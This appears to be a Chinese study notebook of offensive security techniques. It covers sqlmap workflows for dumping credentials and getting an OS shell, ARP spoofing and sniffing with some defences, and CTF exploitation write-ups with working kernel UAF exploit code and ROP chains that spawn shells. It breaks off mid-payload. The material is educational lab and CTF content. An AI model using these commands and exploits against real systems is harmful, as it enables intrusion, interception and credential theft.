4.SQL注入

一、SQL注入:

1.常用命令:

2.SQLMAP使用:

(1)前置了解:

官方网址:http://sqlmap.org

Github网址:https://github.com/sqlmapproject/sqlmap

https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-zh-CN.md

使用手册:https://github.com/sqlmapproject/sqlmap/wiki/Usage

(2)常用类型:

▲基于布尔的盲注:GET型

攻击流程:

①测试目标是否存在sql注入:sqlmap -u ip

这里就可能会返回payload,可以用来自定义使用

②之后查找所有database:sqlmap -u ip –dbs

③查找所有tables:sqlmap -u ip –tables

④查找存储的属性字段:sqlmap -u ip -D database_name -T table_name –columns

⑤依据属性字段查找想要的数据:sqlmap -u ip -D database_name -T table_name -C column_1,column_2… –dump

(例如table中可能就保存id,username,password的属性,就可以查找账号密码出来)

▲针对登录框的SQL注入:POST型

①利用burpsuite抓请求登录的包,查看(需要先设置代理,然后拦截,8080可能不行,得其它端口代理)

img

username=admin&password=admin&authorization=

最下面的这个基本就是我们传输的请求登录信息。

②然后将这些内容保存下来,生成一个文件sql.txt,将这个文件用sqlmap运行分析:

sqlmap -r sql.txt

这样就开始从sql.txt文件中分析了,判断到底有没有sql注入漏洞,有的话就应该有对应的payload生成出来。

▲之后就类似上面的,获取数据库,table等等信息,从而最终获取服务器的登录账号和密码。

▲其它类型的测试:测试共5级

测试注入时加上参数–level=LEVEL

①默认:GET和POST测试

②2级:测试cookie:

(看服务器会不会根据cookie来获取用户数据)

sqlmap -r sql.txt –level=2

②3级:测试HTTP User-Agent/Referer头的值

3.SQL-Shell:

(1)通过漏洞进入SQL-Shell:

sqlmap -r sql.txt –level=5 –sql-shell

这样如果能进入就可以直接用SQL语句来查询数据

(2)通过漏洞进入OS-shell:

sqlmap -r sql.txt –level=5 –os-shell

①之后需要选择Web站点的搭建语言,通过插件或者其它形式判断(php,jsp等等)

②然后需要输入一个可以往里面写东西的文件目录:例如/var/www/upload

这里目录可以通过工具来查找:

1
2
3
4
5
#注释头

git clone https://github.com/maurosoria/dirsearch
cd dirsearch
python3 dirsearch.py -u ip

这样sqlmap就可以上传东西,写入一些类似于web-shell等东西,从而获取权限。

③那么就进入os-shell了,可以获取到服务器权限

5.利用Cobaltstrike获取权限

一、攻击weblogic(端口基于7001):

▲前置环境部署:

1
2
3
4
5
6
7
#注释头

git clone https://github.com/vulhub/vulhub.git
cd vulhub/
cd weblogic/
cd CVE-......(选择一种漏洞)
docker-compose up -d

这样就搭建了好了该漏洞的环境,使用docker ps -a可以看到端口映射到本地,所以在本地输入127.0.0.1:7001即可看到对应的weblogic服务。

输入127.0.0.1:7001/console可以进入到服务界面

1.利用WeblogicScan先扫描看看有没有weblogic的漏洞:

1
2
3
4
5
6
#注释头

git clone https://github.com/dr0op/WeblogicScan.git
cd WeblogicScan
pip3 install -r requirements.txt
python3 WeblogicScan.py ip 7001

2.有cve漏洞后上网搜索对应的利用poc来打攻击

arp欺骗

1.首先查看和自己同属一个网段下的ip:

nbtscan -r 192.168.80.167/24

img

这里157即为目标ip,167即为本机攻击ip

(这个需要apt-get install nbtscan)

2.然后使用工具arpspoof进行欺骗,kalilinux自带:

(1)arpspoof -i eth0 -t 192.168.80.157 192.168.80.2

(eth0是网卡接口,-t后是目标ip,之后的ip是该网段下的默认路由ip,可以通过route -n查询,或者其它方式)

▲这个原理就是修改己方的Mac地址为默认路由的Mac地址,那么目标主机发出的MAC帧就会被己方接收。

(2)如果攻击机开启了Ipv4的路由转发功能,那么arp欺骗不会成功,因为到达攻击机的包被转发出去了。

①查看己方的路由转发功能是否开启:

cat /proc/sys/net/ipv4/ip_forward

为0则关闭,为1则开启了。

②修改路由转发功能:

echo “0” > /proc/sys/net/ipv4/ip_forward

这行命令是往该文件中写入0,关闭路由转发功能

sysctl -p(让服务即可生效)

▲另外永久开启服务的相关命令可以上网再查

3.查看自己是否被ARP欺骗攻击:arp -a

img

可以看到在目标机器上在没有被攻击之前,默认路由ip对应的mac地址和攻击机ip对应的mac地址是不一样的,但是被攻击之后却变成一样的了。

▲解决办法:

(1)将dns服务器ip和mac静态绑定:

arp -s [dns_ip] [dns_mac]

(2)如果不知道原来的dns服务器的mac地址,那么可以先arp -d清空一下arp缓存,然后arp -a查看,这时候原本的dns服务器就会发过来包,其MAC就能被看到。

(3)如果攻击者一直执行欺骗程序,开启系统防火墙后清空arp缓存,也能抵御一般的arp欺骗。

(4)如果防火墙还是抵御不了,或者不允许开启防火墙,那么就进行抓包,先将arp缓存清空,之后抓取dns服务器发过来的包,其MAC一定正确,将该MAC地址与dns服务器ip绑定。(没有抓包工具就重复清空缓存,查询,大不了整个bat批处理,一定会有攻击者攻击间隙使得dns服务器发过来的包被解析,然后再绑定)

img

(5)如果攻击者充当中间人,截取dns发给受害者的服务包…那再说,估计只能破密了。

▲可以事先将DNS的MAC定期备份,定期删除。

4.开启目标机网络功能,截取目标机的数据包:

▲使用的工具在不同协议和不同环境的抓取能力都不太一样

(1)使用DSniff,支持Telnet 、Ftp、Smtp、P0P3、HTTP,以及其它的一些高层网络应用协议,用Telnet比较好用。比较老了,很多杀毒软件或者防火墙安全措施什么的都可以发现。

dsniff -i eth0(有时候不太好用)

(2)使用Ettercap
ettercap -Tq -i eth0(Tq是参数用的,过滤掉不必要的包)

CISCN2017-babydriver

1.常规解包分析:

1
2
3
4
5
6
7
//注释头

mkdir rootfs
cd rootfs
mv ../rootfs.cpio rootfs.cpio.gz //改名,方便gunzip识别格式
gunzip ./rootfs.cpio.gz //解压
cpio -idm < ./rootfs.cpio //再次解压

2.查看init

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#注释头

#!/bin/sh

mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
chown root:root flag
chmod 400 flag
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console

insmod /lib/modules/4.4.72/babydriver.ko
chmod 777 /dev/babydev
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid cttyhack setuidgid 1000 sh

umount /proc
umount /sys
poweroff -d 0 -f

可以看到加载了/lib/modules/4.4.72/babydriver.ko模块,权限为1000即普通权限,但是flag在root/下,需要root权限,那么需要提权。

3.查看启动qemu命令:

1
2
3
4
5
6
7
8
9
10
11
12
#!/bin/bash

qemu-system-x86_64\
-initrd rootfs.cpio\
-kernel bzImage \
-append 'console=ttyS0 root=/dev/ram oops=panic panic=1'\
-enable-kvm \
-monitor /dev/null \
-m 64M \
--nographic\
-smp cores=1,threads=1 \
-cpu kvm64,+smep\

很常规,唯一需要注意的是开启了smep保护

4.IDA打开分析加载的babydriver.ko模块,一般漏洞就在这里,这里就是UAF漏洞,漏洞点在全局变量的设置:

▲用到的知识点:这里由于是linux内核,那么当Linux内核模块链接到内核中,如果在Ko模块的源代码中它们具有全局变量,则每个全局变量只有一个副本,每个ko模块的设备程序共享这个全局变量

(1)由于babydev_struct是个全局变量,所以打开两个babydriver.ko设备之后,第一个设备程序fd1使用command == 0x10001调用babyioctl函数,申请堆块后,如果第二个设备程序fd2再调用babyioctl函数申请堆块,则会覆盖掉babydev_struct.device_buf。

(2)那么如果将第一个设备释放掉,则babydev_struct.device_buf指向的内存会被标记为释放状态,但是仍然可以通过fd2来修改这块内存,造成UAF。

(3)最开始通过调用babyioctl函数将这块内存大小修改为size的堆块,之后如果再申请size大小的内存,就会先将这块内存申请回来,然后我们还是可以通过UAF使用fd2来修改这块本不应该能修改的内存。

(4)这时就考虑将这块内存申请成什么样的内存来利用,这里一般有两种方法。

▲方法一:利用cred结构体

在kernel中,每一个进程都会创建一个cred结构体,用来存储进程的权限等信息

①修改size大小为cred结构体大小,再利用fork创建子进程,过程中会创建的cred结构体,那么就可以将这块内存变成子进程的cred结构体。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//注释头

// 打开两次设备,触发伪条件竞争
int fd1 = open("/dev/babydev", 2);
int fd2 = open("/dev/babydev", 2);

// 修改 babydev_struct.device_buf_len 为 sizeof(struct cred)
ioctl(fd1, 0x10001, 0xa8);

// 释放fd1
close(fd1);

// 新起进程的 cred 空间会和刚刚释放的 babydev_struct 重叠
int pid = fork();

②之后修改子进程cred中的uid,gid为0,使其为root权限,即可将子进程提权。提权之后即可调用system(“/bin/sh”)获得root权限的shell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
//注释头

if(pid < 0)
{
puts("[*] fork error!");
exit(0);
}

else if(pid == 0)
{
// 通过更改 fd2,修改新进程的 cred 的 uid,gid 等值为0
char zeros[30] = {0};
write(fd2, zeros, 28);

if(getuid() == 0)
{
puts("[+] root now.");
system("/bin/sh");
exit(0);
}
}

else
{
wait(NULL);
}
close(fd2);

▲方法二:打开设备ptmx,利用创建的tty_struct结构体和修改函数指针来ROP。

(一般ROP的调用需要关掉smep保护)

①修改size大小为tty_struct结构体大小,释放空间,之后用户空间打开ptmx设备,就会将这块内存申请为tty_struct结构体。

1
2
3
4
5
6
7
//注释头

int fd1 = open("/dev/babydev", O_RDWR);
int fd2 = open("/dev/babydev", O_RDWR);
ioctl(fd1, 0x10001, 0x2e0);
close(fd1);
int fd_tty = open("/dev/ptmx", O_RDWR|O_NOCTTY);

②修改tty_struct结构体中的const struct tty_operations *ops;指针指向用户空间伪造的fake_tty_operations结构体。

1
2
3
4
5
//注释头

size_t fake_tty_struct[4] = {0};
read(fd2, fake_tty_struct, 32);
fake_tty_struct[3] = (size_t)fake_tty_operations;

③将用户空间的fake_tty_operations中的write函数指针指向ROP链。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
//注释头

void* fake_tty_operations[30];
--------------------------------------------------------------------
for(int i = 0; i < 30; i++)
{
fake_tty_operations[i] = 0xFFFFFFFF8181BFC5;
}
fake_tty_operations[0] = 0xffffffff810635f5; //pop rax; pop rbp; ret;
fake_tty_operations[1] = (size_t)rop;
fake_tty_operations[3] = 0xFFFFFFFF8181BFC5; // mov rsp,rax ; dec ebx ; ret
---------------------------------------------------------------------
int i = 0;
size_t rop[32] = {0};
rop[i++] = 0xffffffff810d238d; // pop rdi; ret;
rop[i++] = 0x6f0;
rop[i++] = 0xffffffff81004d80; // mov cr4, rdi; pop rbp; ret;
rop[i++] = 0;
rop[i++] = (size_t)get_root;
rop[i++] = 0xffffffff81063694; // swapgs; pop rbp; ret;
rop[i++] = 0;
rop[i++] = 0xffffffff814e35ef; // iretq; ret;
rop[i++] = (size_t)get_shell;
rop[i++] = user_cs; /* saved CS */
rop[i++] = user_rflags; /* saved EFLAGS */
rop[i++] = user_sp;
rop[i++] = user_ss;

④向ptmx设备写入内容,即可调用write函数从而调用ROP链。

⑤利用ROP链关掉semp保护,之后Ret2Usr即可。

QWB2019-babymimic

PWN拟态题,需要我们针对两个程序输入输出完全一致,exp要同时能够打穿两个程序。前期的爆破什么的就不看了,看EX师傅的博客就好了

1.程序分为stkof32和stkof64,大多都相同,只是一个是64一个是32,然后程序是标准栈溢出,偏移不同,32位为272字节,64位为280字节,相差8个字节。这里就为一个exp攻破两个程序提供了漏洞,另外由于程序没有开PIE,所以可以直接ROP。

2.这里就用相差的8个字节,即32位程序会比64位的多运行两个指令,那么就针对这两个指令来做文章。

3.这里就是将64位程序的ROP链直接放在ret地址上,32位程序利用多出来的两个指令,下拉esp,把ROP链放在64位ROP链的后面:

(1)64位:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#注释头

#function(rdi,rsi,rdx)

#read /bin/sh
payload += p64(pop_rax_ret) + p64(0x0)
payload += p64(pop_rdi_ret) + p64(0x0)
payload += p64(pop_rsi_ret) + p64(0x0069e200)
payload += p64(pop_rdx_ret) + p64(0x200)
payload += p64(syscall)

#execve("/bin/sh",0,0)
payload += p64(pop_rax_ret) + p64(0x3b)
payload += p64(pop_rdi_ret) + p64(0x0069e200)
payload += p64(pop_rsi_ret) + p64(0x0)
payload += p64(pop_rdx_ret) + p64(0x0)
payload += p64(syscall)

(2)32位:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#注释头

#function(ebx,ecx,edx)

#read /bin/sh
payload += p32(pop_edx_ecx_edx_ret)
payload += p32(0x200)+p32(0x080d7200)+p32(0x0)
payload += p32(pop_eax_ret) + p32(0x3)
payload += p32(int0x80)

#execve("/bin/sh",0,0)
payload += p32(pop_edx_ecx_ebx_ret)
payload += p32(0x0)+p32(0x0)+p32(0x080d7200)
payload += p32(pop_eax_ret) + p32(0xb)
payload += p32(int0x80)

(3)下拉rsp:

1
2
3
4
#注释头

payload = ""
payload += "A"*offset +p32(add_0x100) + p32(0x0)

▲连起来就是:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#注释头

#add esp
payload = ""
payload += "A"*offset +p32(add_0x100) + p32(0x0)

#read /bin/sh
payload += p64(pop_rax_ret) + p64(0x0)
payload += p64(pop_rdi_ret) + p64(0x0)
payload += p64(pop_rsi_ret) + p64(0x0069e200)
payload += p64(pop_rdx_ret) + p64(0x200)
payload += p64(syscall)

#execve("/bin/sh",0,0)
payload += p64(pop_rax_ret) + p64(0x3b)
payload += p64(pop_rdi_ret) + p64(0x0069e200)
payload += p64(pop_rsi_ret) + p64(0x0)
payload += p64(pop_rdx_ret) + p64(0x0)
payload += p64(syscall)
payload.ljust(0x100-4,'\x00')

#read /bin/sh
payload += p32(pop_edx_ecx_edx_ret)
payload += p32(0x200)+p32(0x080d7200)+p32(0x0)
payload += p32(pop_eax_ret) + p32(0x3)
payload += p32(int0x80)

#execve("/bin/sh",0,0)
payload += p32(pop_edx_ecx_ebx_ret)
payload += p32(0x0)+p32(0x0)+p32(0x080d7200)
payload += p32(pop_eax_ret) + p32(0xb)
payload += p32(int0x80)

其他的就是找ROP了,这个不说了,这里能找到这么多gadget,纯粹就是因为程序是静态的,gadget无敌多,如果不是静态的,可能还得费一番功夫。

参考资料:

https://www.dazhuanlan.com/bob24/topics/1295510

32C3 CTF-readme

1.常规checksec,开了NX,Canary,FORTIFY。然后IDA找漏洞,sub_4007E0函数中第一次输入名字时存在栈溢出:

1
2
3
4
5
#注释头

__int64 v3; // [rsp+0h] [rbp-128h]
--------------------------------------------------------------------
_IO_gets(&v3)

2.研究程序,有数据byte_600D20提示,点进去提示远程会读取flag到这个地方,由于这里有Canary和栈溢出,那么我们直接利用Canary的检查函数___stack_chk_fail来泄露程序中byte_600D20处的flag。

3.前置知识:

(1)libc2.24及以下的___stack_chk_fail函数检查到canary被修改后,会在程序结束时打印*** stack smashing detected** ”:[./readme.bin] terminate。这里红色的部分就是程序名字,程序初始化时就会读入存储到argv[0]这个参数里面。

(需要注意的是,程序最开始读入的是程序的pwd绝对路径,类似于/home/ctf/readme.bin,之后会在___stack_chk_fail函数中对argv[0]中保存的字符串进行拆解,从而只打印出程序名字)

(2)由于argv[0]参数是main函数的参数,程序初始化时就存储在栈上的较高地址处,我们的输入肯定是在main函数及以后的函数栈中,基本都处于较低地址处,所以一旦栈溢出足够,那么就可以覆盖到argv[0],从而将___stack_chk_fail函数打印程序名字的地方覆盖成我们想要知道的某个地址中的值,这里也就是flag,byte_600D20。

4.所以进行足够长度的覆盖,将argv[0]覆盖为0x600d20,但是由于以下函数

1
2
3
4
5
#注释头

byte_600D20[v0++] = v1;
--------------------------------------------------------------------------
memset((void *)((signed int)v0 + 0x600D20LL), 0, (unsigned int)(32 - v0));

即使我们覆盖掉了argv[0],那么打印出来的也不会是flag。这里需要用到另一个知识点:

▲动态加载器根据程序头将程序映射到内存,由于程序没开PIE,所以各段的加载地址均已经固定,flag位于0x600D20,处于第二个LOAD中,会被映射到内存中的第一个LOAD中,所以0x600D20处的flag即使被覆盖,那么第一个LOAD中的flag依然存在。所以这里选择将argv[0]覆盖为第一个LOAD中的flag。

img

第一个LOAD中的flag寻找方法,peda可以查找到:

img

5.现在考虑寻找argv[0]的位置,由于最开始读取的是pwd绝对路径,所以利用这个来寻找,将断点下在b *0x40080E,这里我的绝对路径是/ctf/AAAAAAAA:

img

上图中画红线的两段都有可能是,都尝试一下,可以知道相差536字节,也就是第一条红线才是正确的。

简单方法:直接用pwndbg>p &__libc_argv[0]

6.尝试编写payload:

1
2
3
4
5
#注释头

payload = ""
payload += "A"*0x218
payload += p64(flag_addr) #覆盖argv[0]

却发现没办法打印出来,连*** stack smashing detected ***都没办法接受到,那么肯定是远程的环境变量将stderr错误输出流设置为0,只打印在远程本地。这里用socat搭建一下,可以验证出来,远程本地上能打印出来:

*** stack smashing detected ***: 32C3_TheServerHasTheFlagHere… terminated

7.那么如果想通过该方法获取远程打印的flag,就需要将远程的环境变量stderr设置为1,也就是LIBC_FATAL_STDERR_=1。那么如何修改远程的环境变量呢,可以再通过gdb调试,输入stack 100:

img

这里的536就是所在argv[0],再看下下面的一些数据,552,556都是环境变量,那么在远程肯定是需要调用的,这里选择修改552处的环境变量。那么之后又如何将LIBC_FATAL_STDERR_=1传过去呢?这里就想到程序有第二个输入,本来用来覆盖0x600D20的就可以被利用了。通过第二次输入将LIBC_FATAL_STDERR_=1传过去,保存在0x600D20前面部分,之后将552处的内容修改为0x600D20,这样环境变量就被更改了。

8.总Payload:

1
2
3
4
5
6
7
#注释头

payload = ""
payload += "A"*0x218
payload += p64(0x400D20) #覆盖argv[0]
payload += p64(0)
payload += p64(0x600D20) #覆盖环境变量envp指针

9.发送完payload后再发送LIBC_FATAL_STDERR_=1就可以将flag打印在本地了。

参考资料:

比较多,网上不太全,这个比较全

https://github.com/ctfs/write-ups-2015/tree/master/32c3-ctf-2015/pwn/readme-200

ARM基础

一、前置环境:

先说明一下aarch64就是arm指令架构的64位版本,有相同,也有不同的地方。而Thumb指令集基本就相当于16位版本arm指令架构。

1.安装交叉编译环境:

1
2
3
4
#注释头

sudo apt-get install gcc-arm-linux-gnueabi
sudo apt-get install gcc-aarch64-linux-gnu

然后就正常编译即可

1
2
3
4
#注释头

arm-linux-gnueabi-gcc file.c -o file
aarch64-linux-gnu-gcc file.c -o file

2.安装运行环境:

1
2
3
4
#注释头

sudo apt-get install g++-arm-linux-gnueabihf
sudo apt-get install pkg-config-aarch64-linux-gnu

这样对于静态的arm架构文件可以用qemu直接运行了,当然需要qemu对应支持。

3.调试文件:

(1)qemu运行起来

1
2
3
4
#注释头

qemu-arm -g 12345 -L /usr/arm-linux-gnueabi/ ./file
qemu-aarch64 -g 12345 -L /usr/aarch64-linux-gnu/ ./file

这里-g代表端口映射的意思,用来配合外面的gdb,这里用到端口12345。

-L代表加载运行库,这里安装运行环境之后基本都在这个位置/usr/…../。

(2)gdb远程附加调试:

1
2
3
4
#注释头

gdb-multiarch -q ./file
target remote localhost:12345

这里不设置set architecture arm set architecture aarch64也行的。

之后就正常调试,不过中途断下来需要在qemu运行的终端地方ctrl+c,而不是gdb处。

二、基础学习:

1.寄存器:

ARM中:(32位版本)

32

AARCH64中:(64位版本)

64

(1)R0R3:函数调用参数,代表第04个参数,剩下的参数从右向左依次入栈,函数返回值保存在R0中。(对应在aarch64中为R0R7,但是gdb调试或者IDA中一般显示X0X30,同时还有低32位的W0~W30)

(2)SP:类似rsp,esp,栈指针

(3)FP:类似ebp,栈指针

(4)LR:当发生函数调用时,会保存调用函数处的地址,退出函数时赋值给PC。

(5)PC:类似eip,rip,存储下一条指令的地址。

2.基础指令:

(1)STM以及LDM是指令前缀,表示多寄存器寻址,来装载和存储多个字的数据到内存,后面加上不同的后缀代表不同的指令,类似的有STMFA,STMIB, LDMFA,LDMDA等等:

常见的有FD,代表满栈转存,ED代表空栈转存。

▲满栈和空栈:满栈操作时SP指向上次写的最后一个数据单元,而空栈的栈指针SP指向第一个空闲单元。

类似有STMFD SP! { }和LDMFD SP! { }:

即相当于push和pop,在gdb中显示push,pop,IDA中显示STMFD和LDMFD。

STMFD SP!, {R11,LR}:将R11和LR入栈,相当于push R11以及LR中保存的值入栈。

同理LDMFD即相当于pop。

(2).STR指令:将前操作数寄存器数据复制到后操作数地址对应的内存上,类似mov

STR r3, [fp, #-0xc]:将寄存器r3中的值赋给fp-0xc地址对应的内存。这里fp就是R11。

STR r3, place:这里是赋值给pc+place地址对应内存。

等等….

(数据复制方向:前->后)

(3).LDR指令:也是指令前缀,后面也会跟上一些不同的后缀,常见有LDRB,LDRH等等。

LDR R0,[R1,#8]:将r1+8地址对应内存复制给r0。

(数据复制方向:后->前)

(4).B:跳转指令,同样也是类似一个前缀指令

① B:直接跳转,目标地址是相对于当前PC值的偏移地址

② BL:跳转之前会把PC值存到R14(LR)寄存器中,通常用于函数调用,从被调用函数返回时,通常需要用到BX LR;或者MOV PC,LR;等

③BX:跳转到ARM指令或者Thumb指令

④BLX:结合了BL和BX两个指令的功能。

三、ARM(32位架构)函数分类:

1.叶子函数:不做任何其他函数调用的函数

调用时的栈状态分析:和正常的x86差不多,压入fp,sub sp开辟栈空间。最后通过Add sp,fp,#0和pop{fp}再加上BX LR来返回。

arm3

arm4

FP中的内容是上一个函数栈的FP指针,并且栈上不存在存放返回地址的地方,无法直接劫持返回地址。

▲栈模型如下:

1
2
3
4
5
6
7
8
#注释头

+-------------+
| |
| padding |
+-------------+
| Last FP | <- frame pointer
+-------------+

但是这样就不好利用,那么就尝试劫持栈迁移一段距离,使得上一个非叶子函数的剩下的汇编代码所用到的栈上数据是我们伪造的栈中的数据,这样就能完成劫持上一个非叶子函数的返回地址。需要对汇编有一定功力。

2.非叶子函数:多了一点不同,即会压入FP时,将LR也压入,且LR先于FP压入,即函数栈中的FP指向的是保存的LR,而不是叶子函数中指向的是上一个函数栈的FP。最后通过sub sp,fp,#4加上pop {fp,pc}来返回。

▲其实返回时add和sub没多大差别,只针对后两个操作数的,也就立即数的符号相反呗,后两个操作数计算完成后赋值给sp实现栈还原。

▲栈模型如下:

1
2
3
4
5
6
7
8
9
10
11
#注释头


+-------------+
| |
| padding |
+-------------+
| return_addr | <- frame pointer
+-------------+
| Last FP |
+-------------+

虽然FP中的内容实际上是LR的内容,但其实也差不多,反正最后返回时都会发生SP移动,先取FP,再取对应的PC,所以实际怎么样也无所谓了:

img

img

这样就相当于常规的32位栈模型ebp-eip了,只不过不涉及参数,一般需要用gadget来为对应参数赋值。

在常规栈溢出时,这里发挥重要作用的就是gadgets_addr了,一般可以先ROPgadget –binary ./pwn –only “pop”,查找对应的pop gadget。例如这里可以有pop {r0, r4, pc},那么完成利用的栈模型就如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#注释头

+-------------+
| |
| padding |
+-------------+
| padding | <- frame pointer
+-------------+
|gadgets_addr | <- return address
+-------------+
|binsh_addr |
+-------------+
|junk_data |
+-------------+
|system_addr |
+-------------+

将binsh_addr赋值给r0,junk_data赋值给r4,system_addr赋值给pc,完成利用。

★在栈溢出探索padding时,可以用pwndbg中的cyclic 200自动生成200个字符,然后输入,那么在arm(32位)架构下的非叶子函数中,一定会给pc赋值为我们的某个padding,这时候程序断下来,可以查看pc的值,用cyclic -l [PC值]来查找溢出点。

img

img

▲所以这里如果针对非叶子函数劫持了FP和FP+4,那么就相当于劫持栈并且控制程序流了,如果想调用函数还需要设置参数寄存器r0-r3才行。

简单的可以直接查找pop r0,pc之类的:ROPgadget –binary ./pwn –only “pop”,这种方式一般只能调用一个参数的函数。

泄露地址之类的一般还是需要用到ret2csu,arm(32位)下的ret2csu一般是用到:

1
2
3
4
5
6
7
8
9
10
#注释头

.text:0001049C LDR R3, [R5],#4 ②
.text:000104A0 MOV R2, R9
.text:000104A4 MOV R1, R8
.text:000104A8 MOV R0, R7
.text:000104AC BLX R3 ③
.text:000104B0 CMP R6, R4
.text:000104B4 BNE loc_10498
.text:000104B8 LDMFD SP!, {R4-R10,PC} ①

即通过①来为R4-R10赋值,以及控制PC跳转到②,再利用R5地址对应的值来赋值给R3对应跳转,期间也可通过R7-R8来控制R0-R2的参数。这里需要满足R5处保存的是got表地址,即将R5赋值为func_got_addr即可。

四、aarch64架构的函数分类:其实就是ARM的64位版本,除了寄存器方面变化挺大,其他的调用方式什么的也差不了太多。

1.叶子函数:不做任何其他函数调用的函数

调用时的栈状态分析:和正常的arm差不多,FP入栈,sub sp开辟栈空间。最后通过Add sp,sp,#20和ret来返回。Ret相当于mov PC,LR。将LR中保存的地址给PC来执行。

img

img

也同样通过栈劫持来控制。

2.非叶子函数:也差不多,但有些不同的是,进入函数后,会先开辟栈空间,先压入LR然后压入FP。stp x29, x30, [sp, #-0x30]!即非叶子函数栈中的FP和LR都保存在栈顶,最后通过LDP X29, X30, [SP+0x30+var_30]加上RET来返回。

img

img

可以看到进入非叶子函数中之后,先开辟栈空间,然后压入LR,再压入FP,栈模型如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#注释头

+-------------+
| Last FP | <- SP
+-------------+
| LR |
+-------------+
| |
| padding |
+-------------+
|Last Last FP | <- frame pointer
+-------------+
|Last LR | <- return address
+-------------+
|binsh_addr |
+-------------+
|junk_data |
+-------------+
|system_addr |
+-------------+

paddint以下的部分才是我们要劫持的。

所以我们在该函数中的栈溢出劫持的其实不是该函数的返回地址,而是上一个函数的返回,所以这里同时也需要确保上一个函数中汇编代码剩下的操作不会对我们覆盖的栈上的值进行重要改写,不然栈上的数据就容易被破坏。

其次需要注意的是aarch64下的gadget搜索,用到:

ROPgadget –binary ./pwn –only “ldp|ret”

其实是一样的,ldp就类似pop,反正gadget运用算是更加灵活了。

▲通常也可以用ret2csu来搞定:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#注释头

.text:00000000004008AC LDR X3, [X21,X19,LSL#3] ②
.text:00000000004008B0 MOV X2, X22
.text:00000000004008B4 MOV X1, X23
.text:00000000004008B8 MOV W0, W24
.text:00000000004008BC ADD X19, X19, #1
.text:00000000004008C0 BLR X3 ③
.text:00000000004008C4 CMP X19, X20
.text:00000000004008C8 B.NE loc_4008AC
.text:00000000004008CC
.text:00000000004008CC loc_4008CC
.text:00000000004008CC LDP X19, X20, [SP,#var_s10] ①
.text:00000000004008D0 LDP X21, X22, [SP,#var_s20]
.text:00000000004008D4 LDP X23, X24, [SP,#var_s30]
.text:00000000004008D8 LDP X29, X30, [SP+var_s0],#0x40
.text:00000000004008DC RET

▲例如该SP即为0x40007ffe40:

img

一直到0x40007ffe90为FP,那么如下

1
2
3
4
#注释头

0x616161… <-FP
0x4008cc <-LR

跳转0x4008CC(u_gadget1)之后,SP为0x40007ffea0依次赋值:

img

再通过LDP X29, X30, [SP+var_s0],#0x40和ret跳转到0x4008ac(u_gadget2)最终实现X0~X3赋值:

img

最终跳转函数真实地址0x400090f9c8,即需要给X21赋值为read_got_addr,参数依次为read(0,0x411010,0x8)。同时需要注意的是,在read完成之后,还是会回到当前的万能gadget处0x4008C4,再接着运行下去。然后一路运行下去,经过万能gadget中的RET返回到之前设置的0x40007ffee8处也就是0x400824,这个也是在最开始就设置好的,通常可以用来返回到read函数或者main函数处再执行栈溢出,之后就正常操控程序。

▲脚本示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def aarch64_csu(call, x0, x1, x2,ret_addr):
payload = p64(u_gadget1)
payload += "A"*0x8
payload += p64(u_gadget2)
payload += p64(0x0)
payload += p64(0x1)
payload += p64(call) #got_addr
payload += p64(x2)
payload += p64(x1)
payload += p64(x0)
payload += "B"*0x8
payload += p64(ret_addr)
return payload

payload = flat(cyclic(72)
payload += aarch64_csu(elf.got['read'], 0, bss_addr, 8,ret_addr))

这个是没有栈劫持的。Aarch64的csu也不怎么用到,因为aarch64的csu赋值不是pop,SP基本不会动,而且大多时候都是SP寻址。

参考资料:

https://www.anquanke.com/post/id/199112#h3-23

CSAW Quals CTF 2017-scv

1.常规checksec,开启了NX和Canary。打开IDA发现程序两个漏洞:

(1)功能1中栈溢出:

1
2
3
4
5
#注释头

char buf; // [rsp+10h] [rbp-B0h]
--------------------------------------
v25 = read(0, &buf, 0xF8uLL);

(2)功能2中输出字符串:puts(&buf);

注:这里的put和printf不是同一个概念,不是格式化字符串的函数。但是由于put是直接输出我们的输入,而我们的输入被保存在main函数栈上,所以可以输入足够多的数据连上canary,利用put一并打印出来,从而把canary泄露出来。

2.调试,IDA中观察位置,计算偏移,可以知道偏移为0xB0-0x8=0xA8=168个字符,(canary通常被放在rbp-0x08的位置处,当然也不一定,最好还是调试一下)这样就可以构造第一个payload:payload1 = ”A”*168 + “B”。

这里再加一个B是因为canary的保护机制,一般情况下canary的最后两位也就是最后一个字符都是\x00,由于是大端序,所以可以防止不小心把canary泄露出来。因为上一个栈内存的最后第一个字符连接的是下一个栈内存的第一个字符,也就是canary中的\x00,而打印函数默认00是字符串的结尾,所以这里如果输入”A”*168,那么打印出来的就只会是168个A,不会将canary带出来。所以我们再加一个B,覆盖掉canary在占内存的第一个字符00,从而能够连接上成为一个完整的字符串打印出来。但又由于是大端序,泄露出来的canary应该最后一个字符是B,对应\x42,这里需要修改成\x00从而获得正确的canary。同理,如果随机化的canary中含有\x00,那么仍然会导致字符串截断,无法得到正确的canary。所以其实如果多执行几次,碰到包含\x00的canary,就会导致程序出错。

泄露加修改:canary = u64(‘\x00’+io.recv(7))

3.之后就可以利用canary的值和栈溢出,调用put函数打印其它函数的实际地址。这里程序使用了read函数,并且同时外部调用了read函数,可以通过输入read的.got表的值,使其打印read函数的真实地址。同时需要注意的是,由于是64位程序,传参是从rdi开始,所以栈溢出的第一个返回地址应该给rdi赋值才对,编写payload1。

1
2
3
4
5
6
7
8
9
10
11
12
13
#注释头

payload1 = ""
payload1 += "A"*168 #padding
payload1 += p64(canary) #在canary应该在的位置上写canary
